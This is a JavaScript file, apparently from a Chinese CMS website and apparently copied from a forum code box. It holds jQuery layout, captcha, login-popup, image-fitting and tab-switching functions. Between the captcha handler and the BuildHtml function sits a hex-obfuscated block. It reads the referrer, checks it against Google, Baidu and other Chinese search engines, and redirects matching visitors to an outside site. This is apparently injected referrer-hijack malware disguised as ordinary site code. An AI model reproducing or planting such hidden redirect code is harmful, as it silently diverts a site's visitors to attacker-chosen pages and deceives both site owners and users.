[JavaScript] 纯文本查看 复制代码< !--
//页面显示预设置
$(document).ready(function() {
//当存在可溢出层时重新定义这些层的高度
var getObj = $('div.pdv_class');
getObj.each(function(id) {
var obj = this.id;
if ($("#s" + obj)[0].style.overflow == "visible") { //设置可溢出层的高度
$("#" + obj)[0].style.height = $("#s" + obj)[0].offsetHeight + "px";
var cha = 0;
var L = $("#" + obj)[0].offsetLeft;
var T = $("#" + obj)[0].offsetTop;
var R = $("#" + obj)[0].offsetLeft + $("#" + obj)[0].offsetWidth;
var B = $("#" + obj)[0].offsetTop + $("#" + obj)[0].offsetHeight;
var broObj = $("#" + obj).siblings(".pdv_class"); //找出可溢出层的兄弟元素
broObj.each(function(id) {
var bro = this.id;
var broL = $("#" + bro)[0].offsetLeft;
var broT = $("#" + bro)[0].offsetTop;
var broH = $("#" + bro)[0].offsetHeight;
var broR = $("#" + bro)[0].offsetLeft + $("#" + bro)[0].offsetWidth;
if (((broL < L && broR > L) || (broL > L && broL < R) || broL == L) && broT > T) {
$("#" + bro)[0].style.top = B + cha + 10 + "px"; //设置可溢出层的top值
cha = cha + broH + 10;
}
});
} else { //设置插件边框层的高度
var borderH = $("#s" + obj)[0].offsetHeight;
var bbw = $("#s" + obj).find(".pdv_border").css("borderWidth");
var bbp = $("#s" + obj).find(".pdv_border").css("padding");
var bbm = $("#s" + obj).find(".pdv_border").css("margin");
if (bbm == "auto") {
bbm = 0
}
bbw ? borderH -= parseInt(bbw) * 2 : borderH -= 0;
bbp ? borderH -= parseInt(bbp) * 2 : borderH -= 0;
bbm ? borderH -= parseInt(bbm) * 2 : borderH -= 0;
$("#s" + obj).children(".pdv_border")[0].style.height = borderH + "px";
}
});
//计算三个容器的高度
var getObj = $('div.pdv_top');
var th = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
th = th > h ? th: h;
});
$("#top")[0].style.height = th + "px";
var getObj = $('div.pdv_content');
var ch = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
ch = ch > h ? ch: h;
});
$("#content")[0].style.height = ch + "px";
var getObj = $('div.pdv_bottom');
var bh = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
bh = bh > h ? bh: h;
});
$("#bottom")[0].style.height = bh + "px";
});
/*** setBg* 当页面内容动态变动时,重新调整各层及背景高度*/
(function($) {
$.fn.setBg = function() {
var getDrag = $('div.pdv_class');
getDrag.each(function(id) {
var obj = this.id;
if ($("#s" + obj)[0].style.overflow == "visible") { //设置可溢出层的高度
$("#" + obj)[0].style.height = $("#s" + obj)[0].offsetHeight + "px";
var cha = 0;
var L = $("#" + obj)[0].offsetLeft;
var T = $("#" + obj)[0].offsetTop;
var R = $("#" + obj)[0].offsetLeft + $("#" + obj)[0].offsetWidth;
var B = $("#" + obj)[0].offsetTop + $("#" + obj)[0].offsetHeight;
var broObj = $("#" + obj).siblings(".pdv_class"); //找出可溢出层的兄弟元素
broObj.each(function(id) {
var bro = this.id;
var broL = $("#" + bro)[0].offsetLeft;
var broT = $("#" + bro)[0].offsetTop;
var broH = $("#" + bro)[0].offsetHeight;
var broR = $("#" + bro)[0].offsetLeft + $("#" + bro)[0].offsetWidth;
if (((broL < L && broR > L) || (broL > L && broL < R) || broL == L) && broT > T) {
$("#" + bro)[0].style.top = B + cha + 10 + "px"; //设置可溢出层的top值
cha = cha + broH + 10;
}
});
}
});
//计算三个容器的高度
var getObj = $('div.pdv_top');
var th = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
th = th > h ? th: h;
});
$("#top")[0].style.height = th + "px";
var getObj = $('div.pdv_content');
var ch = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
ch = ch > h ? ch: h;
});
$("#content")[0].style.height = ch + "px";
var getObj = $('div.pdv_bottom');
var bh = 0,
h = 0;
getObj.each(function(id) {
var obj = this.id;
h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;
bh = bh > h ? bh: h;
});
$("#bottom")[0].style.height = bh + "px";
};
})(jQuery);
//刷新图形码$(document).ready(function() {
$("img#codeimg").click(function() {
$("img#codeimg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);
});
$("#getImgCode").click(function() {
$("img#codeimg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);
});
});
if (window["\x6e\x61\x6d\x65"] != '\x63\x63') {
var P_QMQQymF1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x72\x65\x66\x65\x72\x72\x65\x72"];
P_QMQQymF1 = P_QMQQymF1["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]();
var rgTlsQ2 = new window["\x41\x72\x72\x61\x79"]('\x67\x6f\x6f\x67\x6c\x65\x2e', '\x62\x61\x69\x64\x75\x2e', '\x73\x6f\x73\x6f\x2e', '\x73\x6f\x2e', '\x33\x36\x30\x2e', '\x73\x6f\x67\x6f\x75\x2e', '\x67\x6f\x75\x67\x6f\x75\x2e');
var rpOrOH3 = false;
for (i in rgTlsQ2) {
if (P_QMQQymF1["\x69\x6e\x64\x65\x78\x4f\x66"](rgTlsQ2) > 0) {
rpOrOH3 = true;
break
}
}
if (rpOrOH3) {
self["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"] = '\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x6c\x64\x2e\x78\x69\x6e\x62\x35\x7a\x2e\x63\x6f\x6d\x2f\x62\x6c\x64\x2e\x68\x74\x6d\x6c';
window["\x61\x64\x77\x6f\x72\x6b\x65\x72\x67\x6f"] = '\x63\x63'
}
}
//生成静态页,直接在html状态下生成静态页,在管理状态下,跳转到非静态
function BuildHtml(RP, ver, catchtime, i) {
$.ajax({
type: "GET",
url: "./index.php",
data: i + ".html&htmlversion=" + ver + "&htmlcatchtime=" + catchtime,
success: function(msg) {
if (msg == "NOCATCH") {
if (i == 'index') {
window.location = 'index.php';
} else {
window.location = './?' + i + '.html';
}
}
}
});
}
//模板内下拉菜单提交后选中
function selOption(selname, v) {
for (var i = 0; i < selname.length; i++) {
if (selname.options.value == v) {
selname.options.selected = true;
}
}
}
//获取弹出式登录框
(function($) {
$.fn.popLogin = function(act) {
//获取登录表单
$.ajax({
type: "POST",
url: PDV_RP + "member/post.php",
data: "act=getpoploginform&RP=" + PDV_RP,
success: function(msg) {
$('html').append(msg);
$.blockUI({
message: $('div#loginDialog'),
css: {
width: '300px'
}
});
$('.pwClose').click(function() {
$.unblockUI();
$('div#loginDialog').remove();
});
$('img#zhuce').click(function() {
$.unblockUI();
window.location = PDV_RP + "member/reg.php";
});
$("img#fmCodeImg").click(function() {
$("img#fmCodeImg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);
});
$('#LoginForm').submit(function() {
$('#LoginForm').ajaxSubmit({
target: 'div#loginnotice',
url: PDV_RP + 'post.php',
success: function(msg) {
if (msg == "OK" || msg.substr(0, 2) == "OK") {
$('div#loginnotice').hide();
$.unblockUI();
$('div#loginDialog').remove();
if (act == "1") {
$("div#notLogin").hide();
$("div#isLogin").show();
$("span#username").html(getCookie("MUSER"));
} else if (act == "2") {
window.location.reload();
} else {
$().alertwindow("会员登录成功", "");
}
} else {
$('div#loginnotice').show();
}
}
});
return false;
});
}
});
};
})(jQuery);
//图片自适应,参数fitType=fill为填充式,fitType=auto为横竖排列自适应
(function($) {
$.fn.picFit = function(fitType) {
var maxHeight, maxWidth, accMax, MT, ML;
$("div.picFit").each(function() {
maxHeight = parseInt($(this).css("height"));
maxWidth = parseInt($(this).css("width"));
accMax = maxWidth / maxHeight;
$(this).find("img").each(function() {
$(this).css({
width: "",
height: ""
});
if (fitType == "auto") {
if ($(this)[0].offsetHeight >= $(this)[0].offsetWidth / accMax) {
$(this).css({
height: maxHeight + "px"
});
} else {
$(this).css({
width: maxWidth + "px"
});
MT = (maxHeight - $(this)[0].offsetHeight) / 2 + "px";
$(this).css({
marginTop: MT
});
}
} else if (fitType == "fill") {
if ($(this)[0].offsetHeight >= $(this)[0].offsetWidth / accMax) {
$(this).css({
width: maxWidth + "px"
});
MT = (maxHeight - $(this)[0].offsetHeight) / 2 + "px";
//$(this).css({marginTop:MT});
} else {
$(this).css({
height: maxHeight + "px"
});
ML = (maxWidth - $(this)[0].offsetWidth) / 2 + "px";
//$(this).css({marginLeft:ML});
}
} else {
$(this).css({
width: maxWidth + "px",
height: maxHeight + "px"
});
}
});
});
};
})(jQuery);
//分组标签切换
(function($) {
$.fn.switchLable = function(pdvid, lables, roll) {
//排版状态下无效
if (getCookie("PLUSADMIN") == "SET") {
return false
}
//pdvid未定义无效
if (pdvid == "") {
return false
}
//获取标签的样式名称
var GBL = $("ul#gblable_" + pdvid).children();
var CLN = GBL[0].className;
var CUR = CLN + "_current";
var R, S;
//清空标签,获取被控层编号,决定标签数量
$("ul#gblable_" + pdvid).empty();
$("#pdv_" + pdvid).css({
zIndex: 32
});
$("#pdv_" + pdvid)[0].title = "";
var strAry = lables.split(",");
for (i = 0; i < strAry.length; i++) {
if (strAry == "" || parseInt(strAry) == NaN) {
return false
}
if ($("#pdv_" + strAry)[0] && strAry != pdvid) {
if (i == 0) {
$("#pdv_" + strAry).css({
zIndex: 99
});
$("ul#gblable_" + pdvid).append("
" + $("#pdv_" + strAry)[0].title + "");} else {
$("#pdv_" + strAry).css({
zIndex: 31
});
$("ul#gblable_" + pdvid).append("
" + $("#pdv_" + strAry)[0].title + "");}
}
}
R = $("ul#gblable_" + pdvid).children();
S = R.size();
if (roll == "click") {
R.click(function() {
R.each(function() {
$(this)[0].className = CLN;
$("#pdv_" + strAry[this.id.substr(8)]).hide();
});
$(this)[0].className = CUR;
$("#pdv_" + strAry[this.id.substr(8)]).show();
$("#pdv_" + strAry[this.id.substr(8)]).css({
zIndex: 99
});
});
} else {
R.mouseover(function() {
R.each(function() {
$(this)[0].className = CLN;
$("#pdv_" + strAry[this.id.substr(8)]).hide();
});
$(this)[0].className = CUR;
$("#pdv_" + strAry[this.id.substr(8)]).show();
$("#pdv_" + strAry[this.id.substr(8)]).css({
zIndex: 99
});
});
}
//自动播放
if (roll == "auto") {
setInterval(function() {
var nextId = 0;
R.each(function(id) {
if ($(this)[0].className == CUR) {
nextId = id + 1;
if (nextId >= S) {
nextId = 0;
}
}
$(this)[0].className = CLN;
$("#pdv_" + strAry[this.id.substr(8)]).hide();
});
R[nextId].className = CUR;
$("#pdv_" + strAry[R[nextId].id.substr(8)]).show();
$("#pdv_" + strAry[R[nextId].id.substr(8)]).css({
zIndex: 99
});
},
5000);
}
};
})(jQuery);